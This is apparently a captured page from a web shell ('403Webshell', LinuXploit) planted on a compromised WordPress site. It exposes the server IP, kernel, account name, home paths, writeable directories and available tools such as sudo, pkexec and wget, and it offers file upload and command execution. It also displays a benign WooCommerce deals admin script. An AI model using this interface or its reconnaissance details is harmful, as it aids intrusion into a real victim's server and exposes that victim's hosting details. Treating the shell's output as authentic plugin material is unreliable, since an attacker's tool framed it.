403Webshell
Server IP : 162.144.4.212  /  Your IP : 216.73.216.49
Web Server : Apache
System : Linux gator2125.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : cozeellc ( 2980)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : ON |  Sudo : ON |  Pkexec : ON
Directory :  /home4/cozeellc/public_html/wp-content/plugins/woocommerce-deals/assets/js/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home4/cozeellc/public_html/wp-content/plugins/woocommerce-deals/assets/js/tawc-deals-admin.js
$( document ).ready( function( $ ) {
	// Sale price schedule.
	$( '._deal_quantity_field' ).each( function() {
		var $these_sale_dates = $( this );
		var sale_schedule_set = false;
		var $wrap = $these_sale_dates.closest( 'div, table' );

		$these_sale_dates.find( 'input' ).each( function() {
			if ( '' !== $( this ).val() ) {
				sale_schedule_set = true;
			}
		});

		if ( sale_schedule_set ) {
			$wrap.find( '.sale_price_dates_fields' ).show();
			$wrap.find( '._deal_quantity_field' ).show();
            $wrap.find( '._deal_sales_counts_field' ).show();
			$wrap.find( '.sale_schedule' ).hide();
		} else {
			$wrap.find( '.sale_price_dates_fields' ).hide();
			$wrap.find( '._deal_quantity_field' ).hide();
            $wrap.find( '._deal_sales_counts_field' ).hide();
			$wrap.find( '.sale_schedule' ).show();
		}
	});

	$( '#woocommerce-product-data' ).on( 'click', '.sale_schedule', function() {
		var $wrap = $( this ).closest( 'div, table' );

		$wrap.find( '._deal_quantity_field' ).show();
        $wrap.find( '._deal_sales_counts_field' ).show();

		return false;
	}).on( 'click', '.cancel_sale_schedule', function() {
		var $wrap = $( this ).closest( 'div, table' );

		$wrap.find( '._deal_quantity_field' ).hide();
		$wrap.find( '.deal-sold-counts' ).hide();
        $wrap.find( '._deal_sales_counts_field' ).hide();
		$wrap.find( '._deal_quantity_field' ).find( 'input' ).val( '' );

		return false;
	});
} );

Youez - 2016 - github.com/yon3zu
LinuXploit